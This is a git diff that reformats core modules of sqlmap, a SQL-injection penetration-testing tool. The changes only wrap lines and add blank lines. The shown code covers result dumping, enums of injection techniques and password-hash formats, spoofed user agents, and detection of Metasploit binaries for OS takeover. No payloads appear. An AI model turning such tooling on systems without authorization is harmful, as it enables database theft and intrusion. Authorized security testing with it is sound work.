https://wiki.apache.org/httpd/DistrosDefaultLayout } PART_RUN_CONTENT_TYPES = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 2e3cdfde6..6b0ed4062 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -59,6 +59,7 @@ from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic + class Dump(object): """ This class defines methods used to parse and output the results @@ -174,10 +175,14 @@ class Dump(object): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): - self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + if Backend.getIdentifiedDbms() in ( + DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, + DBMS.FRONTBASE): + self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, + content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): - self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) + self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, + content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -253,7 +258,8 @@ class Dump(object): for db, tables in dbTables.items(): tables = sorted(filter(None, tables)) - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") + self._write("Database: %s" % unsafeSQLIdentificatorNaming( + db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") @@ -308,7 +314,9 @@ class Dump(object): maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % ( + unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", + unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") @@ -363,7 +371,8 @@ class Dump(object): maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): - self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") + self._write("Database: %s" % unsafeSQLIdentificatorNaming( + db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) @@ -449,7 +458,10 @@ class Dump(object): dumpDbPath = tempDir - dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, + "%s.%s" % ( + unsafeSQLIdentificatorNaming(table), + conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() @@ -458,10 +470,12 @@ class Dump(object): except: warnFile = True - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, + normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % ( + _, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: @@ -500,7 +514,9 @@ class Dump(object): separator += "+%s" % lines separator += "+" - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % ( + unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", + unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] @@ -537,9 +553,11 @@ class Dump(object): rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") - dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) + dataToDumpFile(dumpFP, + "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, + "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") @@ -567,7 +585,8 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "" % getUnicode( + htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) field += 1 @@ -621,7 +640,8 @@ class Dump(object): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, + normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warning(warnMsg) @@ -639,7 +659,8 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "" % getUnicode( + htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 @@ -716,6 +737,7 @@ class Dump(object): def registerValue(self, registerData): self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) + # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() diff --git a/lib/core/enums.py b/lib/core/enums.py index 188bd9fc3..8acb1158a 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ + class PRIORITY(object): LOWEST = -100 LOWER = -50 @@ -14,6 +15,7 @@ class PRIORITY(object): HIGHER = 50 HIGHEST = 100 + class SORT_ORDER(object): FIRST = 0 SECOND = 1 @@ -22,6 +24,7 @@ class SORT_ORDER(object): FIFTH = 4 LAST = 100 + # Reference: https://docs.python.org/2/library/logging.html#logging-levels class LOGGING_LEVELS(object): NOTSET = 0 @@ -31,6 +34,7 @@ class LOGGING_LEVELS(object): ERROR = 40 CRITICAL = 50 + class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" @@ -60,6 +64,7 @@ class DBMS(object): RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" + class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" @@ -89,6 +94,7 @@ class DBMS_DIRECTORY_NAME(object): RAIMA = "raima" VIRTUOSO = "virtuoso" + class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" @@ -105,15 +111,18 @@ class FORK(object): IRIS = "Iris" YUGABYTEDB = "YugabyteDB" + class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 + class OS(object): LINUX = "Linux" WINDOWS = "Windows" + class PLACE(object): GET = "GET" POST = "POST" @@ -125,6 +134,7 @@ class PLACE(object): CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" + class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" @@ -133,6 +143,7 @@ class POST_HINT(object): XML = "XML (generic)" ARRAY_LIKE = "Array-like" + class HTTPMETHOD(object): GET = "GET" POST = "POST" @@ -144,15 +155,18 @@ class HTTPMETHOD(object): CONNECT = "CONNECT" PATCH = "PATCH" + class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" + class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" + class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 @@ -160,11 +174,13 @@ class CHARSET_TYPE(object): ALPHA = 4 ALPHANUM = 5 + class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 + class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' @@ -198,19 +214,31 @@ class HASH(object): SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' + # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES(object): - BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") - GALAXY = ("Samsung Galaxy S8", "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP") + BLACKBERRY = ("BlackBerry Z10", + "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") + GALAXY = ("Samsung Galaxy S8", + "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") - HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") - HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") - IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") - LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063") - NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") - NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") - PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36") - XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") + HTC = ("HTC 10", + "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") + HUAWEI = ("Huawei P8", + "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 8", + "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") + LUMIA = ("Microsoft Lumia 950", + "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063") + NEXUS = ("Google Nexus 7", + "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") + NOKIA = ("Nokia N97", + "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") + PIXEL = ("Google Pixel", + "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Mi 8 Pro", + "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") + class PROXY_TYPE(object): HTTP = "HTTP" @@ -218,16 +246,19 @@ class PROXY_TYPE(object): SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" + class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" + class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" @@ -262,16 +293,19 @@ class HTTP_HEADER(object): X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" + class EXPECTED(object): BOOL = "bool" INT = "int" + class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" + class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" @@ -288,10 +322,12 @@ class HASHDB_KEYS(object): KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" + class REDIRECTION(object): YES = 'Y' NO = 'N' + class PAYLOAD(object): SQLINJECTION = { 1: "boolean-based blind", @@ -350,22 +386,29 @@ class PAYLOAD(object): NEGATIVE = 2 REPLACE = 3 + class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") - INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") - ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") + INTERMEDIATE = ( + "getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", + "excludeSysDbs") + ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", + "getPrivileges", "getRoles", "dumpAll") + class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 + class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" + class CONTENT_TYPE(object): TARGET = 0 TECHNIQUES = 1 @@ -395,10 +438,12 @@ class CONTENT_TYPE(object): REG_READ = 25 STATEMENTS = 26 + class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 + class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" @@ -406,15 +451,18 @@ class AUTH_TYPE(object): NTLM = "ntlm" PKI = "pki" + class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 API = 3 + class NOTE(object): FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" + class MKSTEMP_PREFIX(object): HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" @@ -427,20 +475,24 @@ class MKSTEMP_PREFIX(object): SPECIFIC_RESPONSE = "sqlmapresponse-" PREPROCESS = "sqlmappreprocess-" + class TIMEOUT_STATE(object): NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 + class HINT(object): PREPEND = 0 APPEND = 1 + class FUZZ_UNION_COLUMN: STRING = "" INTEGER = "" NULL = "NULL" + class COLOR: BLUE = "\033[34m" BOLD_MAGENTA = "\033[35;1m" @@ -477,6 +529,7 @@ class COLOR: RED = "\033[31m" UNDERLINE = "\033[4m" + class BACKGROUND: BLUE = "\033[44m" LIGHT_GRAY = "\033[47m" diff --git a/lib/core/exception.py b/lib/core/exception.py index 8e487ce30..ab7f5bd75 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -5,74 +5,98 @@ Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ + class SqlmapBaseException(Exception): pass + class SqlmapCompressionException(SqlmapBaseException): pass + class SqlmapConnectionException(SqlmapBaseException): pass + class SqlmapDataException(SqlmapBaseException): pass + class SqlmapFilePathException(SqlmapBaseException): pass + class SqlmapGenericException(SqlmapBaseException): pass + class SqlmapInstallationException(SqlmapBaseException): pass + class SqlmapMissingDependence(SqlmapBaseException): pass + class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass + class SqlmapMissingPrivileges(SqlmapBaseException): pass + class SqlmapNoneDataException(SqlmapBaseException): pass + class SqlmapNotVulnerableException(SqlmapBaseException): pass + class SqlmapSilentQuitException(SqlmapBaseException): pass + class SqlmapUserQuitException(SqlmapBaseException): pass + class SqlmapShellQuitException(SqlmapBaseException): pass + class SqlmapSkipTargetException(SqlmapBaseException): pass + class SqlmapSyntaxException(SqlmapBaseException): pass + class SqlmapSystemException(SqlmapBaseException): pass + class SqlmapThreadException(SqlmapBaseException): pass + class SqlmapTokenException(SqlmapBaseException): pass + class SqlmapUndefinedMethod(SqlmapBaseException): pass + class SqlmapUnsupportedDBMSException(SqlmapBaseException): pass + class SqlmapUnsupportedFeatureException(SqlmapBaseException): pass + class SqlmapValueException(SqlmapBaseException): pass diff --git a/lib/core/gui.py b/lib/core/gui.py index fa6f26949..18c9d6e6e 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -35,6 +35,7 @@ line = "" process = None queue = None + def runGui(parser): try: from thirdparty.six.moves import tkinter as _tkinter @@ -83,7 +84,9 @@ def runGui(parser): # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = _tkinter_ttk.Style() - settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} + settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, + "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], + "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") @@ -173,7 +176,10 @@ def runGui(parser): alive = True - process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) + process = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, + close_fds=not IS_WIN) # Reference: https://stackoverflow.com/a/4896288 queue = _queue.Queue() @@ -223,7 +229,8 @@ def runGui(parser): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", + "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) @@ -242,12 +249,14 @@ def runGui(parser): row = 1 if group.get_description(): - _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) + _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, + sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) row += 2 for option in group.option_list: - _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) + _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, + sticky=_tkinter.W) if option.type == "string": widget = _tkinter.Entry(frame) diff --git a/lib/core/log.py b/lib/core/log.py index 64e4f1b71..8395b02ea 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -21,6 +21,7 @@ LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + class _ColorizingStreamHandler(ColorizingStreamHandler): def colorize(self, message, levelno, force=False): if levelno in self.level_map and (self.is_tty or force): @@ -55,33 +56,40 @@ try: match = re.search(r"\A\s*\[([\d:]+)\]", message) # time if match: time = match.group(1) - message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + message = message.replace(time, ''.join( + (self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) match = re.search(r"\[(#\d+)\]", message) # counter if match: counter = match.group(1) - message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + message = message.replace(counter, ''.join( + (self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) if level != "PAYLOAD": if any(_ in message for _ in ("parsed DBMS error message",)): match = re.search(r": '(.+)'", message) if match: string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str( + self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: match = re.search(r"\bresumed: '(.+\.\.\.)", message) if match: string = match.group(1) - message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str( + self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", + message) if match: string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str( + self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str( + self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) @@ -92,6 +100,7 @@ try: return message + disableColor = False for argument in sys.argv: diff --git a/lib/core/option.py b/lib/core/option.py index 72d834d07..26a2d8428 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -176,6 +176,7 @@ try: except NameError: WindowsError = None + def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. @@ -214,6 +215,7 @@ def _loadQueries(): for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) + def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target @@ -236,7 +238,8 @@ def _setMultipleTargets(): if checkFile(conf.logFile, False): for target in parseRequestFile(conf.logFile): url, _, data, _, _ = target - key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", + "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) @@ -251,7 +254,8 @@ def _setMultipleTargets(): for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): url, _, data, _, _ = target - key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", + "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) @@ -269,6 +273,7 @@ def _setMultipleTargets(): infoMsg += "targets list ready to be tested" logger.info(infoMsg) + def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages @@ -289,6 +294,7 @@ def _adjustLoggingFormatter(): FORMATTER._format = FORMATTER.format FORMATTER.format = format + def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied @@ -341,6 +347,7 @@ def _setRequestFromFile(): errMsg += "does not contain a valid HTTP request" raise SqlmapDataException(errMsg) + def _setCrawler(): if not conf.crawlDepth: return @@ -352,6 +359,7 @@ def _setCrawler(): target = next(iter(kb.targets)) crawl(target[0], target[2], target[3]) + def _doSearch(): """ This function performs search dorking, parses results @@ -415,6 +423,7 @@ def _doSearch(): else: conf.googlePage += 1 + def _setStdinPipeTargets(): if conf.url: return @@ -453,6 +462,7 @@ def _setStdinPipeTargets(): kb.targets = _() + def _setBulkMultipleTargets(): if not conf.bulkFile: return @@ -480,6 +490,7 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -528,6 +539,7 @@ def _findPageForms(): warnMsg = "no forms found" logger.warning(warnMsg) + def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as @@ -550,6 +562,7 @@ def _setDBMSAuthentication(): conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) + def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return @@ -587,11 +600,14 @@ def _setMetasploit(): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in + ("msfcli", "msfconsole")): msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ + in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): + elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ + in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False @@ -626,11 +642,15 @@ def _setMetasploit(): for envPath in envPaths: envPath = envPath.replace(";", "") - if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in + ("msfcli", "msfconsole")): 